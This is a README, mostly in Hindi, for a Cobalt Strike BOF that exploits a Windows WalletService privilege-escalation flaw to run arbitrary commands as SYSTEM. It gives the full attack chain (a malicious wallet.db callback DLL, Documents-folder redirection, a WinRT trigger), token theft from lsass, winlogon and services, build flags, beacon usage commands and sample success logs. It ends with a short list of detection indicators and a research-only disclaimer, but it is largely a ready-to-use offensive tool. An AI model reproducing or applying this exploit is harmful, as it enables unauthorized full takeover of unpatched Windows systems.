
CVE-2026-49176 WalletService LPE — स्टैंडअलोन PoC + Cobalt Strike BOF (इंटरैक्टिव सत्र पर SYSTEM कमांड)
विंडोज WalletService (CVE-2026-49176, जुलाई 2026 में पैच किया गया) के माध्यम से स्थानीय विशेषाधिकार वृद्धि के लिए Cobalt Strike Beacon Object File (BOF)।
मध्यम-अखंडता (मानक उपयोगकर्ता) Beacon से, यह टूल एक दुर्भावनापूर्ण Wallet ESE डेटाबेस स्टेज करता है, Documents को रीडायरेक्ट करता है, WalletService को ट्रिगर करता है, और इंटरैक्टिव डेस्कटॉप पर NT AUTHORITY\SYSTEM के रूप में कॉलर-निर्दिष्ट कमांड लाइन चलाता है।
केवल-BOF ट्री।
मूल स्टैंडअलोन PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC। समान भेद्यता मूल कारण; भिन्न डिलीवरी और post-SYSTEM प्रक्रिया लॉन्च।
केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और रक्षात्मक सत्यापन के लिए।
WalletService कॉलर का impersonation करते समय FOLDERID_Documents को रिज़ॉल्व करता है, फिर खोलने से पहले LocalSystem पर लौट जाता है:
<Documents>\Wallet\wallet.db
एक मानक उपयोगकर्ता उस डेटाबेस को ESE user-defined default कॉलबैक (PATH\payload.dll!Export) के साथ सीड कर सकता है, Documents को एक नियंत्रित निर्देशिका पर इंगित कर सकता है, और WinRT WalletManager.RequestStoreAsync / GetItemsAsync कॉल कर सकता है ताकि सेवा DLL को SYSTEM के रूप में लोड करे।
विस्तृत लेख: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
| चरण | मूल PoC | यह BOF |
|---|---|---|
| ESE DB सीड करें | wallet_ese_seed.exe | In-BOF Jet*A |
| Documents रीडायरेक्ट करें | documents_path.exe | In-BOF SHGet/SetKnownFolderPath |
| Wallet ट्रिगर करें | PowerShell WinRT | In-BOF RoGetActivationFactory |
| कॉलबैक DLL | wallet_callback_shell.dll | wallet_callback.dll |
WalletService अक्सर फ़िल्टर किया गया SYSTEM टोकन उपयोग करता है (कोई उपयोग योग्य SeAssignPrimaryToken / SeImpersonate नहीं)। सीधा CreateProcess* → 1314।
| मूल PoC | यह BOF | |
|---|---|---|
| लक्ष्य प्रक्रिया | हार्ड-कोडेड cmd.exe | ऑपरेटर-आपूर्ति कमांड लाइन |
| प्राथमिक विधि | अस्थायी सेवा → shell_broker.exe → CreateProcessAsUserW | winlogon / services / lsass से टोकन चोरी → स्पॉन |
| फ़ॉलबैक | कोई नहीं | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
bof_pack("bbZ") के माध्यम से wallet_callback.dll + shell_broker.exe पैक करता हैresult.txt डायग्नोस्टिक्स| आइटम | आवश्यकता |
|---|---|
| Beacon | x64, मध्यम अखंडता (non-elevated) |
| लक्ष्य | भेद्य WalletService (जुलाई 2026 पैच से पहले) |
| CS | BOF समर्थन के साथ Cobalt Strike 4.x |
| बिल्ड | VS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT) |
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| कमांड | आउटपुट |
|---|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | केवल DLL + broker |
build.bat clean | आर्टिफैक्ट हटाएँ |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
यदि VS डिफ़ॉल्ट नहीं है तो build.bat में VCVARS64 पथ संपादित करें।
महत्वपूर्ण फ़्लैग: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (CS BOF लिंकर सुरक्षा)।
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(हर रीबिल्ड के बाद पुनः लोड करें।)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= winlogon, services, lsass या broker पथ हो सकता है।
| लॉग | अर्थ |
|---|---|
JetAddColumn: -1003 | ESE पैरामीटर समस्या |
error=1314 | फ़िल्टर किया गया SYSTEM; token steal / broker आवश्यक |
STEAL_FAIL error=5 | लक्ष्य प्रक्रिया/टोकन खोल नहीं सकते |
StartService error=32 | शेयरिंग उल्लंघन (cmd रैपर के माध्यम से कम किया गया) |
detail=all_methods | सभी post-SYSTEM रणनीतियाँ विफल |
लिंकर Unknown symbol '??_C@_...' | खराब BOF बिल्ड फ़्लैग; build.bat के साथ पुनः बिल्ड करें |
जब रीडायरेक्ट सफल हुआ तो विफलता पर भी Documents पुनर्स्थापित हो जाता है।
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + कॉलबैक DLLOpenProcess / टोकन APIs winlogon/lsass/services के विरुद्धCVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW इंटरैक्टिव सत्रों में